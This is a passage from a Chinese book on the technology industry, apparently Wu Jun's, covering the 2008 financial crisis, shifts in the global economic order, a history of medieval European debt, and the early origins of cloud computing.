。虽然罗马学派的观点和结论至今备受争议，但是很多人和企业都开始意识到他们的担忧并非杞人忧天。在企业发展中，这种担忧体现在成本的缩减。当然一些成本，比如原材料的成本是不可能降低的，但是像企业信息化这样的成本是完全可以控制的。一些财力不很雄厚的中小企业，在信息化时，开始采用廉价的微机而不是IBM 和DEC 的大型机和小型机。当微机技术足够成熟后，大跨国公司也开始用微机逐步替代大型计算机系统。从上世纪80年代起，大部分计算机市场和销售人员向客户推销产品时不断强调的观点就是：微机将逐步取代大型机和小型机。整个20 世纪80 年代计算机工业的历史就是微机腾飞， IBM和DEC江河日下的历史。当然IBM 经过脱胎换骨起死回生，而DEC等小型机公司几乎全部被淘汰（只留下惠普一家） 。\n到了20 世纪80年代末，90 年代初，世界经济再度陷入停滞阶段。日本，这个以制造业和信息工业硬件为主的世界经济火车头终于无法拖动世界经济的火车。但是， 这次危机却导致了互联网的蓬勃发展，并开创了全球电子商务。这就是克林顿所说的新经济。关于这段历史我们在以前的章节中已经有了很多介绍，这里就不再重复了。\n当前这次金融危机，其影响面之广、程度之深超过了1929 年到1933 年大萧条以来任何一次经济危机。全球的工业结构和布局将会发生大洗牌。\n而各国政府拯救经济力度之大也是有史以来前所未有的，这些将剌激新兴产业和公司的迅速崛起。中国政府在经济进入滑坡前就迅速推出4万亿人民币的刺激经济计划， 而美国新任总统奥巴马一上任，就在不到一个月的短短时间里，在权力互相制约的美国推出了近8000亿美元的刺激经济计划，并且投入大量的资金收购各种各样的坏账。2010 年美国央行再次投入5000 亿剌激经济的资金。这些巨额资金不仅会扭转货币流通性不足，并且将逐渐形成流通性过剩。在历史上，任何流通性过剩都会大大扩大经济规模，直到形成新的泡沫。而现在，全世界任何现存的行业无论怎么发展，都不足以弥补这些年来金融危机带来的损失，更不要说全球经济复苏了。虽然这次金融危机的根源在于美国房市的崩溃一一很多家庭无法负担房贷了。但是任何救助房市本身的行动也不过是拖延问题， 最多只能防止经济进一步的恶化。全球经济的复苏必须依靠一场新的技术革命。\n1973－1975 年的经济危机导致了很多传统的高能耗并且过分依赖自然资源产业的衰退，并且促成了以计算机和半导体为核心的高科技行业的兴起。\n从20 世纪70 年代开始的30 年，信息革命带动了全球经济30 年的发展。\n现在，我们要想走出危机，要么将现有产业重新提升，要么创造出一个和信息产业规模相当，甚至更大的产业出现。无论是二者中哪一种方式，都会创造出巨大的商机。现在关键的问题是这个或这一批产业在哪里。\n很多投资人和创业者已经开始赌博了。奥巴马政府已经投资扶植可再生的替代能源，尤其是太阳能和风能。这让人很容易猜想能源革命是今后十年甚至几十年的重点。事实上，投资家们已经开始投其所好，投资这些行业了。但是，近期内，可替代能源不可能对全球经济有很大的提升，甚至不能有效减少温室气体的排放。太阳能和风能在全球能源消耗中占的比重太小，即使有十几倍的发展，也影响不了世界能源的格局。更重要的是，可再生能源因为其成本太高，大量替代传统的化石燃料能源儿乎不可能。目前，世界上效率最高的太阳能发电每度电的成本高达25 美分，而煤和核能只有5 美分。实际上现在太阳能发电之所以能有一点市场，完全靠各国各级政府的补贴和优惠政策。单纯从减少二氧化碳排放来讲，核能产生的温室气体比水能和太阳能更少，污染也更低（制造太阳能发电硅片本身就是一个高耗能和高污染的产业，而建立水电站比修建核电站需要更多的钢材和水泥，这两种产品也是高能耗和高污染的） 。因此，新能源对振兴经济也许会掀起一个小的涟淌，但是在短期内很难形成一次浪潮。\n世界上大多数成功的投资和新产业的出现并不是靠政府的扶植，而是商业发展的自然结果。金融危机后， 各国政府扶植的新能源至今没有什么值得圈点的地方，但是各国政府没有太投入的两个领域却硕果累累。首先是互联网的社区平台，在美国有Facebook ，在中国有腾讯和开心网，这些企业要么只有很少的投资（比如Facebook 和开心网） ，要么完全靠自筹资金（比如腾讯）发展起来。这些基于互联网2.0的社区平台完全不同于它们前辈的交友网站。它们是开放的、通用的网络平台，在它们上面，内容提供商和开发商可以提供自己的服务。比如游戏开发商Zynga ，它利用Facebook这个开发平台，在短短的两年里就从无到有发展了几百万的用户，获得了上亿美元的营业额。Facebook 上小的应用软件开发商可以用多如牛毛来形容，这实际上将传统的软件产业完全从个人计算机扩展到互联网领域。而由于Facebook 等平台的通用性和开放性，使得应用软件的开发门槛变得很低。由于传统的IT 公司在金融危机中相对变弱，使得Facebook 和Zynga 这样的公司得以用较低的成本雇到高水平的人才。\n另一个成功的领域是以苹果iPhone 和Google 的Android 为代表的3G 手机，这个我们在前面已经讲了很多了。这两家的成功一方面是因为它们在技术上领先于对手， 另一方面在于金融危机大大加快了传统手机制造商衰落的步伐，逼着它们或者转到Google 的Android 联盟中（例如摩托罗拉，索尼爱立信） ，或者继续衰落而让出市场（比如诺基亚，黑莓Blackberry ， Palrn ） 。我们不妨大胆地预测，即使是目前全球市场占有率还不错的黑莓手机，可能最终要像诺基亚一样放弃掉自己的操作系统。\n扭转全球经济衰退需要一个甚至一组非常大的产业，整个过程显然不能在一瞬间兴起，并且马上达到高潮。这些产业一定要能够持续发展很长的时间，并且容纳非常多的人就业。因此，无论是创业者还是投资人，都不必急于赶上某一班快车，因为新产业发展的时间足够长，涉及面足够广，只要有心，并不难抓住机遇。我们会在以后的两章“云计算”和“寻找下一个Google”中作具体介绍。值得一提的是， 2010 年苹果公司在iPhone之后又推出了触摸型平板电脑iPad ，加上云计算开始渗透到社会生活，这从根本上将颠覆20 多年来的IT 产业的WinTel 体系。\n21.4 格局的变迁\n无论是来自于向然界，还是来自于社会，一次大的危机或灾难必定带来整个社会的变革。这不仅包括国家和企业的崛起和消亡， 也涉及到人们的生活方式和价值观的改变。\n变迁一， 传统价值的回归。\n曾几何时， 无论在东方或西方，人们都遵守着一些平凡而朴素的做人做事的准则，比如勤奋和勤俭。勤俭，量入而出并非上一代以前中国人的专利，它长期以来在西方主流社会中也是核心的价值观之一。美国早期的移民很多是清教徒，他们节俭、自律同时富有社会责任感和同情心。只要读一读美国国父之一的本杰明·富兰克林（ Benjamin Franklin ）自传就能体会这种价值观在西方根深蒂固的影响。在50 年前，富有的犹太商人们的生活和普通平民并没有多少差异。\n二战以后60 年的和平环境，保证了科技突飞猛进和工业化过程席卷全球。\n人类在这60 年里创造的财富超过了以往历史上的总和。现代工业高效的劳动生产率使得在全球范罔内只需要很少的劳动力就能创造极丰富的、全世界都使用不完的物质财富。广东的DVD 机的生产能力可以满足全世界的需求，而浙江温州生产的小商品，诸如袜子、扑克牌等，占全球的几分之一。和平的环境和生产力的飞速发展带来了两个全球性的巨变。首先，从事制造性生产（包括农业在内）的劳动力比例越来越少， 多余的劳动力必须转移到非制造性的产业中，包括广义上的服务业、医疗保健、教育科研和政府机构， 当然这些产业的生产总值在全球经济中所占的比重越来越大。这本身是一件好事，但它为各同带来了越来越大的失业压力。为此，全世界不得不创造出一些”虚拟“的经济行业，消化多余的劳动力。第二，经济发展的瓶颈从原来的生产量不足变成了消费量不足。经历过中国上世纪70 年代以前的读者可能有过商品”供应不足“的体会，而在20 世纪90 年代以后只有商品卖不掉的情况，没有买不着的时候。在全世界，日前经济的增长必须依靠消费带动。\n第一个变化的直接结果就是资本从实体经济向虚拟经济转移。这种趋势首先始于银行业。在1929 年经济大萧条后，美同政府严格限制商业银行炒作和操纵证券市场，这才有商业银行J .P.摩根和投资银行摩根斯坦利的分家。但是，当商业银行发现它们将钱投入实体经济， 多年后才能收回贷款，回报远比到金融市场上去发售和操作金融衍生物来得少、来得慢时，便渐渐兼营起投资银行的业务，而投资银行（公司）由于不受联储局（FED）的约束，就开始采用杠杆，肆意放大投资额，有些投资公司采用了高达30倍的杠杆。最后，很多账面上有现金的实体工业公司，也开始进入金融和证券市场。在中国股市疯涨的时候，即使是从事制造业的公司，他们发现如果将资金投入股市和房地产，回报比投入再生产要高，周期要短。\n但是， 一旦进入股市低潮，这些投资就蒸发了，不仅投资公司和银行会因为资不抵债而倒闭，整个社会都会突然变得资金周转不灵（用现在的话讲就是流动性不足） 。全球经济便极速衰退。\n第二个变化带来的结果是超前消费。美国从克林顿时代起，私人储蓄率净值就已经是负的了，也就是说，全杜会债务比储蓄高。美同的银行为了剌激借贷，将原来严格而合理的借贷条件放宽，向很多元偿还能力的家庭和个人大址借款。在美同房贷最松的2006 年，居然有银行为一位85 岁的老人提供了30 年期的房贷。虽然我们不能因为年龄而歧视贷款者，但是银行应该想一想人的寿命超过115 岁的可能性。很多家庭借了几辈子也还不完的债，而且非常悠然自得。这次要了美国金融业老命的次贷，其实就是给还不起债的人“发钱”过好日子的一种“金融创新”。在英同，金融危机开始的几年前出现了50 年期的债券，这实际上是向今后两代人借款（爷爷借孙子的钱花） 。这种超前消费的现象最终改变了日本和中国等亚洲罔家的消费观。在日本，为了剌激房市，一些银行推出了父债子还的两代还清的房贷计划。在中国，年轻的一代在借钱上胆子大到了他们的父辈瞠目结舌的地步。\n上述两种风气使得整个社会变得非常浮躁和短视，很多良好的价值观被破坏了。在2000 年互联网泡沫时代，虽然不乏像杨致远、佩奇和布林这样认真的创业者，但是大多数人都不是抱着凭发明技术挖掘新的商机和开创新产业的目的，而是抱着如何捞一笔快钱甚至骗一笔快钱的目的。很多互联网公司做的事永远不可能盈利，甚至不会有营业额，但是它们先从风险投资公司骗得一笔投资，等到风险投资公司发现自己上当后，不得不和这些创业者一起将这些网络垃圾公司（当时有个好听的名字叫做网络概念公司）包装上市， 再从下一级投资者中捞回成本。这些公司因为没有利润，甚至没有营业额，根本无法按照传统的市盈率（ P／E ） 比来估价，于是他们伙同华尔街发明了用股价／ 流量比来对这些网络垃圾估价。互联网泡沫破碎以后，这种风气并没有扭转。全世界大量新的互联网公司，打着互联网2.0的旗号像雨后的野草一样冒了出来， 它们中绝大多数不仅不能挣钱，甚至不能为用户提供什么价值。至今， 除了Facebook。 没有一家独立的互联网2.0的公司盈利，就说明这个领域从投资到创业整体失败了。\n我们不难预见，随着经济危机的深入和人们越来越绝望，人们将开始捡起我 们的祖先保持了几千年，但近年来被遗忘甚至被嘲笑的美德。松下公司的创始人松下幸之助先生曾经讲过， 一个产品如果不能盈利就是一种犯罪，因为它浪费了原本可以用于其他产品的有限的资源和资金。这种经营的理念在前几年盛行烧钱的年代，被嘲笑成短视和唯利是图。很多做产品、办公司的人荒唐地认为一个产品或公司盈利与否不重要，只要有用户就行。他们美其名日为客户着想，实际上是为了骗取投资或自己在公司内部的升迁。其结果是浪费了大量的投资和时间。\n投资者也变得非常谨慎，不再向无偿还能力的个人和公司贷款，也停止了对那些赔本赚吆喝的公司投资。今后那种仅仅靠一纸商业计划书，或者一个没有可行的商业模式的网站（样品）就能融资的情况会越来越少，并且会渐渐消失。当然， 风险投资的资金总要有去处，风险投资家们对那些真正有技术含量的产品和服务将格外亲睐。\n令人遗憾的是，和全球谨慎的投资相反，中国各种概念的泡沫反而在金融危机后急剧扩大，投资变得更加随意而无章法。可以肯定地讲，几年后将有人最终为此买单。\n在金融危机中，不少高科技公司，例如苹果和Google 公司，只有很少甚至是零债务、并且一直拥有强劲的现金流，不仅在这次经济危机中最容易存活下来，并且能在经济复苏时抢到最佳的起跑点，同时会在经济复苏后长时间强劲地扩张。苹果公司的市值也在金融危机后超过了微软，成为全球最值钱的科技公司。“现金为王”这句话一度被泡沫的鼓吹者们嘲笑，但是过去的两年事实证明，哪家公司现金储备多，在金融危机中就能赚到大便宜。\nJ.P.摩根、伯克希尔－哈撒韦和甲骨文公司就是靠手中充足的现金收购了很多便宜的资产和公司。因此，这次危机后，所有的公司都在降低债务，关注自己的核心业务，提高利润和现金储备。全球经济总体会因此而变得更健康。\n变迁二，世界格局的变迁。\n这次金融危机正好赶上美国大选，不仅总统要重新选，整个众议院和1／3的参议院也都要重新选。金融危机无疑帮了民主党的大忙。果然，民主党在2010 年总统和两院选举中大获全胜。新的政府在政策和人选上，比已经向亚洲倾斜的布什政府更加向亚洲倾斜，包括2010年提出重返亚洲。在内阁和幕僚人选上，奥巴马选用了五名华裔精英，包括两个最关键的部长一一商务部长骆家辉和能源部长朱棣文。以前不仅没有这么多华裔进入总统的决策圈子，就是把所有亚裔都算上，也没有一次五位亚裔担任要职的先例。在行动上，奥巴马总统也一反他的前任先欧洲后亚洲的次序。他会见的第一位国家政府首脑是日本首相，国务卿希拉里· 克林顿（HillaryClinton）访问的第一个地区是东亚四国。不仅如此，以自由派著称的希拉里· 克林顿这次不谈政治，只谈共同对付金融危机的合作问题。这一切说明世界格局在悄悄改变。\n为什么美国政府会迅速向亚洲倾斜呢？经济的原因是主要的。2009 年美国民主党政府上台后，国务卿希拉里先到亚洲四国，除了礼节性的访问，主要是替奥巴马推销美国国债来了。增发同债是奥巴马拯救经济计划经费的唯一来源。\n在2008 年小布什担任总统时，美同的经济剌激计划已经花掉大约8000 亿美元，包括之前拯救银行的7000 亿和给银行不良资产的担保。奥巴马上台后，又提出了各种经济刺激方案，大约需要15000 亿美元左右。这些钱加起来近乎天文数字。奥巴马不是魔术师，更不是神仙， 不会从空中抓钱，因此这笔钱一定要有来源。办法只有两个，其中一个极不负责任，第二个也不太负责任但是相对好很多。第一个办法是印钞票，这实际上是用前几代人和我们这代人前半辈子的积蓄来填补漏洞，是一种赤裸裸的掠夺行为，因此说它极不负页任。第二个办法是举债，这实际上用我们的后半辈子和让子孙来承担还债的义务。由于资金缺口太大，奥巴马政府不得不两种方法都采用。而其中印钞票只能偶尔为之，举债则是美国政府每天都在傲的事情。当然如果所有美国人都打算过几十年苦日子还清贷款，举债本身是一个负责任的做法。但是，美国人实际上根本就没有打算还本金（原因说起来很长，有机会我再单独撰文来论述其中的原因），因此说也不太负责任，但是比前一种好。由于亏空太大，最终美国政府是两个办法都用了，但是长远来讲还是倚重第二种，即举债的方式。\n既然举债就要有人出钱，而钱的来源、无非是两个，美国（和世界）私人的钱，以及外国政府的钱。图2 1 －3 是美国政府赤字（虚线）对应私人债权债务（黑实线）和外国人债权（灰实线）的关系（以占GDP 的百分比为指标） 。显然，美国政府的债务＝私人债权＋外国人债权。从阁中可以看出，美国政府在大部分时间里都有赤字，而且从2006 年起赤字猛增。在克林顿时代以前，主要是内债，因为美国个人有储蓄，而20 世纪90 年代后，几乎全是外债。就连美国个人也从外国借钱花。只有最近的半年，美国人被房市和股市的崩盘吓坏了，把钱放到了国债上， 同时外国抛售了一些国债，使得内债的比例有所提高。现在为了拯救经济，美国的赤字可能要翻一俏，从GDP 的6％ 上升到GDP 的10％（ 美国私人从股市撤出了相当于GDP 4％ 的投资，为了保持现有的经济规模，美国政府必须弥补这个不足）。美国必须从国外引进这些资金才能走出经济困境。\n 图21－3 美国的赤字和债务（数据来源：高盛）那么接下来的问题是中国和日本等贸易顺差国是否愿意继续买人美国的国债。答案是肯定的，肯定的。这里面政治和经济的原因有很多，主要的原因有四种。首先，在全球经济动荡时，美元是最稳定的储蓄方式，而美国国债是所有美元储蓄中最安全的。在全球金融危机开始以后的一年里，美元对除人民币和日元以外的所有货币，已经升值了10％～25％。 因为各国都在把钱换成美元。美国国债以美国的财产和国力担保，近百年来元论是在经济危机中还是在全球战争时期都是最安全的。第二，美国国债是不错的存钱方式，由于全球都在降息，任何储蓄型的投资回报都很低，导致美国国债的本金交易价猛涨（10年期国债本金涨幅超过20％），中国政府前几年购买的美国国债在本金上已经挣了很多钱（在这一点上不要责怪中国政府不会投资）。第三，由于经济的全球化，中国、日本和德国三大出口国已经和美国绑到了一条船上。我们前面提到，近几十年，全球的经济靠消费驱动，中日德经济的复苏很大程度上要依靠美国的复苏。因此，不得不继续买美国国债。第四，中国和日本与美国的经济有很大的互补性，由于地缘政治的关系，两国和美国没有根本的利益冲突，在经济上容易同舟共济。\n当亚洲国家拥有越来越多的美国债券时，它们将逐步取代两个世纪以来影响力最大的欧洲，在世界性事务上，有越来越多的发言权和主动性。很多激进的读者，包括很多经济学家认为中国和日本虽然在世界经济中的地位越来越高，但是在全球关系中的地位并没有很大的改进。这个现象其实是暂时的， 一个国家整体的地位和作用需要慢慢提升，但是随着经济地位的改善，这最终是水到渠成的事。\n我们不妨回顾一下欧洲1500年来的历史，便不难看出经济地位最终决定一切。欧洲在封建时代（罗马帝国灭亡到法国大革命之间），并没有一个强力的国王（ 即使是教皇的权威也经常受到挑战），这个欧洲实际是由一群封建领主控制，这些公爵、伯爵和骑士们在它们的领地上有着至高无上的权力，他们有自己的一个城堡，通过它控制着自己的领地。他们在自己的领地上颁布法律并收税。手工业者、商人和高利贷者在城堡附近居住，这样既可以应付领主的需要，也可以在危险的时刻有一个庇护所一一城堡。\n城市在中世纪并不重要，虽然历史上，在古埃及、巴比伦、希腊和罗马，它们是国家的中心。\n十字军东征不知不觉地改变了欧洲。人们从欧洲西部、北部的农村迁移到地中海沿岸。人们发现世界并非仅限于他们狭小的城堡和修道院之内， 而是海阔天空。在地中海沿岸， 城市重新发展起来了，出现了制造商和商人，并且通过手工业和商业，手里便慢慢地积蓄起少量的钱财， 此举最终改变了他们在中世纪社会的地位。\n中世纪的领主是拥有田产的乡绅，同时是作战的骑士。十字军东征把古老农业社会的陈规打了个天翻地覆。这些骑士们，在教皇的号召下，跋涉上几千公里的路程前往中东去作战。他们不得不支付自己的装备费用和路上的交通费、伙食费。这些城堡的主人，有财产但是没有现钱。因此伯爵们不得不从商人那里去借。像莎士比亚名剧《威尼斯商人》中描写的夏洛克那样的放贷人，端坐在兑换柜台（banco，它就是银行bank一词的由来）后面，很乐意伯爵大人有求于他们，伯爵大人张口就要几百个金币。那可是放贷人一辈子的积蓄，因此后者为了保险起见，要求伯爵用庄园作抵押。\n这样，万一公爵大人在征讨土耳其人时有个三长两短，他们的钱才不至于打了水漂。借贷的双方最早都没有意识到这对借钱的人来说是一笔很危险的交易。最终，总是夏洛克占有了庄园，而伯爵却破产了。\n当然，伯爵大人的财产和权力并不是一次就失去的， 商人们开始只是要求获得一些对领主来讲无关痛痒的权利，比如在领主的土地上打猎。领主们急需现金，想到只要答应商人们打猎就能获得几百个金币，便答应了。\n从伯爵大人接受这项交易的那天起，他们不知不觉签署了自己权力的死亡证书。他们的书记员拟好协议书，伯爵大人盖上自己的印章，因为中世纪的愚民政策已经让他们不会写自己的名字了。一切万事大吉，领主兼骑士们怀着满腔的激情去东方对付穆斯林了。两年后，他们回到城堡，已是一贫如洗了。而城里人正在他的领地上打猎，搅得他不得安宁。大为光火的伯爵吩咐管家把众人赶走，商人们很听话地走掉了。可当天晚上，商人的代表， 一个面包商来到了城堡，他彬彬有礼，先是祝贺大人平安归来，然后提醒伯爵大人是他亲自恩允他们打猎的。接着，面包商出示了那份有伯爵徽章的契约。伯爵大人不得不极力克制自己的冲天怒火，从此默许了商人们在自己领地的持猎权。\n半年后，伯爵大人想翻新他破旧的城堡了，于是他又想到了商人。这一次，商人们提出的条件是允许他们在伯爵领地的城镇成立自己的行会，管理商业而不受伯爵的干涉。这一回，伯爵大人很不情愿，可他确实需要那笔钱，又只好答应了。半年后，伯爵的城堡修缮完毕，可是他却不愿意履行自己的诺言，因为他有自己的士兵，商人们对他无可奈何。\n市民们除了谴责一下伯爵的背信弃义，便无能为力了。可当下一次公爵急需用钱为女儿办嫁妆的时候，他连一个子儿也借不到了。因为他已经被认为“信用不佳” 。伯爵大人不得不忍气吞声，低下高贵的头颅，答应做出某些补偿。在伯爵大人拿到借款之前，市民们获得了他们梦想的权利。\n在十字军东征之后的几个世纪时间里，这种情形在欧洲各国经常发生，而且越来越普遍。最初只是小封建主开始借债，后来连国王也是债台高筑了。\n为维持自己的排场，大小封建主，上至国王下至乡绅开销一直很大。法国到路易十五时期，国王的债务已经到了根本无法还清的地步。封建主们总是通过赋予公民特许权来交换他们急需的现金。城市不断地成长壮大，并且吸引着附近乡村地区的劳动力，在经济上已经取代了城堡的中心位置。\n杜会各阶层经济地位的变化最终导致了封建制度的崩溃。当然，这种权力由封建城堡向城市的转移是缓慢的，不情愿的，并且不时发生一些流血冲突一一市民和手工业者被封建主逮捕和杀害，商人和银行家的钱永远追不回来了。但是，历史的趋势是城镇变得越来越富有和重要，封建领主却越来越穷并且要被历史抛弃。这种冲突的高潮就是1789年爆发的法国大革命，国王的债主们，第三阶层，这次是向当时的国王路易十六要求国家的管理权了。同王当然不答应，结果是他被送上了断头台。\n温和一些的乡绅们也许可以避免路易十六的厄运，但是当年伯爵大人的后裔们，坐在自己年久失修的城堡里，看着外面城市一切欣欣向荣的最象，感叹着从他们祖先稀里糊涂地签署了第一张用自己封建特权交换财富的契约时，他们的厄运就已经注定了。城里人对乡绅们已是不屑一顾，他们在好好地享受得之不易的权利。这些是他们祖先经过十几代人的持续斗争才辛苦得来的呀。\n上世纪70 年代因石油危机导致的经济危机，客观上促成了日本的崛起。而上世纪90 年代源于信息产业的新经济，帮助美国重新确立了在世界经济中的主导地位。几百年过去了， 世界变了，但是经济和财富决定政治地位的规律依然没有改变，任何强权都拗不过它。许多经济学家认为，欧洲在这次金融危机中将是损失最惨重的， 并且在很长时间里都不能恢复，亚洲在帮助全球走出经济危机中将发挥史无前例的主要作用。以往的西7国集团（虽然在政治上俄罗斯也在其列一起称为G8 ，但是经济学家们更倾向于把俄罗斯放到新兴发展中国家的行列）主导全球经济的时代已经过去。这7个国家经济问题一个比一个严重，虽然大家都觉得美国是这次风暴的中心，但实际上美罔的问题是最轻的。我们回顾一下图21－2，G7成员同政府债务占GDP 的比例， 其中只有加拿大，因为没有国防开支，债务比美国轻。剩下来的，都处在和美国同样的水平甚至更严重。欧盟剩下的一些国家，比如葡萄牙、爱尔兰、希腊和西班牙，问题要严重好几倍。\n靠这些问题比美国更严重的国家来解决全球经济问题显然不现实。一些经济学家甚至提出G2的观点，也就是说，只要美国和中国能携起手来，共同对付金融危机，并且率先走出低谷，全球经济的复苏就指日可待。这种说法当然过于夸大美国和中国的作用，但也说明全球必须依靠新兴的力量才能走出经济困境。\n结束语\n太史公在史记最后一篇传记“货殖列传”（在书中是倒数第二篇，但最后一篇其实不是传记而相当于序言，因此“货殖列传”被认为是实际上的最后一篇）中就提出，经济“六岁穰，六岁旱，十二岁一大饥”，不会永远处在低谷。2009年初， 在全世界投资者都没有信心时，投资大师巴菲特发表了“2008 年度给伯克希尔一哈撒韦股东的公开信”。在信中，巴菲特指出，虽然美国和全世界在2008年最后的一个季度里陷入了严重的衰退，同时人们的恐惧心理加重了这场危机，虽然在今年——2009 年甚至更长一些时间里我们仍将处于衰退，但是，明天仍然会好起来。今后的44 年里我们的经济、我们的社会都将获得长足的发展，就如同过去的44年一样（巴菲特在44 年前开始他的技资生涯） 。虽然我们在过去的一个世纪里经历了两次世界大战和经济大萧条，但是，人类走过来了，而且在过去的40 多年里，人类的生活质量翻了6 番（即增长了30 多倍） 。如果我们把眼光放远些，就不难看出近200 年来，经济繁荣的年份要比萧条的年份多得多。有兴趣的读者可以读一读他的这封信。美国和中国高强度的剌激经济计划，在一两个季度内就能看到效果，最乐观的估计，经济危机2010年就能结束。接下来将是一场比上世纪90 年代更加振奋人心的技术革命浪潮。在2009 年我第一次写这个章节时还看不出接下来技术革命的亮点，短短两年后，我们就看到智能手机已经在全球开始普及，我们还知道Facebook 在2012 年要上市了，随之而来的很多新兴的小公司已经非常活跃了。让我们做好准备，拥抱明天。\n金融危机大事记\n2007 2007 年11 月，花旗银行CEO Prince 辞职，暗示华尔街已经发现很大的问题。\n2008 2008 年3 月，贝尔斯登公司破产并被J.P.摩根银行收购，成为金融危机中倒下的第一张多米诺骨牌。\n2008 年9 月。 美国第四大投行雷曼兄弟公司破产，消息传出， 全球股市遭到血洗。\n同月美国第三大投行美林证券被美洲银行收购。全球股市因此暴跌30％ 。随后，美国最大的私营房贷公司Washingto n Mutual（简称WaMu） 被美国政府接管。随后被J.P.摩根银行收购。世界最大的保险公司AIG 也并被美国政府接管（美国政府持有了80％AIG的股权）。月底，美国政府将仅存的两家主要投行高盛和摩根斯坦利转成商业银行，处于联邦储备提行的监管下。同时，高盛的情况也不好，求助于巴菲特，后者所控制的伯克希尔-哈撒韦公司投资高盛50 亿美元。\n2008年10月。欧洲国家冰岛破产， 股市关闭。同月，濒临破产的美国第五大银行Wachovia 被第三大银行富国银行收购。同月，美国国会批准7000 亿美元的不良资产救助计划。\n2008牢11月， 中国股市崩盘， 股市累计下挫70％ 以上。同月，中国政府宣布4 万亿人民币的救市计划。伯克希尔－哈撒韦投资GE。同月，美国民主党总统候选人奥巴马在选举中大胜执政党共和党的候选人麦凯恩。随着选惰的进展，世界股市反弹5％ 以上。\n2008年12月， 美国联储局将贴现率降到历史最低点零利率。\n2009 2009年2月， 美国新总统奥巴马宣布了一系列剌激经济的计划，并且加强对证券公司的监控。由于他的建议严重损害了华尔街的利益，全球股市再次暴跌30％ ，累计比2007年底下跌50％ 。\n2009年3月。 美国亏损最严重的花旗银行开始盈利。 全球股市走出谷底。 持续上涨1 0 个月。股市从低点上扬70％ 左右。\n2010 2010年2月， 欧洲希腊等国爆发主权基金危机，欧盟开始救助计划。\n2010年8月，金融危机正式结束。许多百年历史的投资银行、保险公司和商业银行因为投资过于冒险而或倒闭，或被并购。资金充裕的J.P.摩根、伯克希尔－哈撒韦及富国银行（被伯克希尔－哈撒韦控股）和高盛成为金融危机中的赢家。\n第22 章云计算\n当Google 等公司提出云计算的概念时，很多人认为这是旧瓶装新酒的炒作。但是今天的科技界和IT 工业界都完完全全认同了这个概念，并且看到了它对今后经济和社会巨大的影响力。那么云计算到底是什么？它的关键技术是什么？它将如何影响今后的工业、经济和社会呢？\n22.1 云计算的起源\n云计算最早可以追溯到甲骨文公司的拉里· 埃利森在上世纪90 年代初提出的Network Computer 的概念。作为世界第二大的软件公司，埃利森的甲骨文一直在默默挑战着微软以客户端为核心的PC 王国。和拥有客户端的微软不同，甲骨文拥有服务器端最重要的软件一一数据库。本来这两大软件公司的核心业务基本上是井水不犯河水，应该相安无事。但是，由于诺威格定律的限制，这两家公司要想发展就必须侵人到对方的地盘里去。微软推出了自己的数据库系统一… SQL Server。 并且占领了一些中小企业的市场。而甲骨文，对客户端可以说是一点控制权都没有。由于在微软的黄金时代里，世界上几平没有一家公司在客户端软件中能打赢微软的，所以埃利森干脆放弃在客户端和微软的竞争，提出一种新的商业模式：Network Computer。 试图干脆将用户对客户端的需求降到最少。这种对微软釜底抽薪的做法在战略上确实是一步非常好的棋，而埃利森本人又是IT 行业仅次于盖茨的强将，但是甲骨文这件事却没有做成功。其根本原因是这个思路过于超前。让我们回顾一下当时的背最。\n在20 世纪90 年代，随着互联网的兴起和快速普及，越来越多的用户应用将来自互联网，而不是脱机的本地客户端，这是毫无疑问的发展趟势。\n既然对本地软件和服务需求会下降，对上网的需求会上升，而当时PC 机相对价格还是比较贵的在美国大约1500 美元一台因此，埃利森提出生产一种只有简单计算功能（速度较慢，内存较小），没有硬盘，主要用于上网的台式PC 机Network Computer。它当时的售价只有500 美元。\n这件事在今天或者可能成功，因为今天的上网本（Netbook） 还不到500美元， 卖得很好，但在当时是完全失败了。这里面的原因主要有4 点。\n第一，Network Computer 实际上就是低端PC，除了它的概念外，没有什么新的发明。它之所以价钱便宜是因为缺斤短两。首先，它的CPU比当时热销的PC 慢一一由于摩尔定律的作用，只要采用18个月前的CPU ，就能节省一半的价钱。实际上当时的PC 的计算能力如果不用微软和其他一些公司（比如Adobe） 那些非常”重“的客户端软件， 并不需要那么快的速度；本来埃利森就没有打算大家用微软的软件，因此就没有用较快的CPU； 其次，内存小了一半，道理也是类似，如果不用微软的Office 和Adobe 的Photoshop ，确实不需要那么大的内存。接下米，既然是上网为主，干脆硬盘也省了。最后，也是埃利森最希望看到的，既然本地使用的时候不多，主要是上网，干脆连操作系统Windows 也省了。虽然埃利森一心一意地希望这价钱只有正常PC 1 ／3 的Network Computer能为更多（经济不宽裕） 的人接受，可是这个偷工减料的PC 体验和真正的PC差距太大，它实在做不了什么事，因此销路很不好。\n第二，由于摩尔定律的作用， 一般的PC 机，包括外设，降价很快，以至于很快买得起PC 机的人越来越多，而Network Computer 的价格优势就越来越不明显。\n第三，当时用户上网的费用较高。以DSL 宽带为例，最基本的费用也要每月40 美元，两年下来几乎就是一台PC 机的价钱。因此，当时买PC机却很少上网的大有人在。另外，当时也没有Wifi无线上网功能，大家离开了办公室和家，基本上很难上网。如果不上网， Network Computer 就毫无用处。\n最后，也是最关键的，当时PC 客户端的大部分软件在互联网上没有相应的服务，比如微软的Office和Adobe的Photoshop。因此，即使上网，客户端的软件一样不少地都要有。\n鉴于这四个原因，Network Computer当时根本没有成功的希望。而事实的发展也是如此，它还没有登场就谢了幕。\n在甲骨文的Network Computer 失败后， 第一次互联网的泡沫也破灭了，大家对互联网的作用也产生了怀疑，一切基于客户端的想法又占了上风，因此很长时间这种基于Web 应用的概念没有人提了。\n2002年因互联网泡沫破碎带来的经济衰退结束后，以Google为代表的互联网公司迅速崛起，挑战微软商业模式的重任也毫无疑问落在了Google 头上。和以前仅仅提供简单的服务不同， Google开始提供替代各种客户端应用和服务的在线服务。通过收购Keyhole公司， Google 把原来运行在客户端的3D地球服务搬到了互联网上，这就成为后来著名的Google Earth 。通过收购Picasa ，Google 将原来在客户端的图片处理（Photoshop 等）服务搬到了互联网上。通过Google Docs，它将用户最常使用的Office的功能搬到了互联网上。当然，它的Google Account联系的Gmail和Calendar 完全可以取代微软的Exchange 在客户端提供的各种功能。这下子，离开了微软的Office，Adobe的Photoshop，用户还真可以完全依靠互联网提供的服务进行日常的工作了。\n2002年以后，Wifi技术的普及非常快。最早从办公室开始，然后到家庭，再到很多公共场所，人们上网已经非常方便。因此，随时随地访问、处理和共享信息的需求就变得越来越重要了。云计算的概念也因此诞生。\nGoogle、IBM和亚马逊在2005年提出了云计算的概念，虽然当时这三家对云计算的理解完全不同。IBM 是为了卖设备，Google 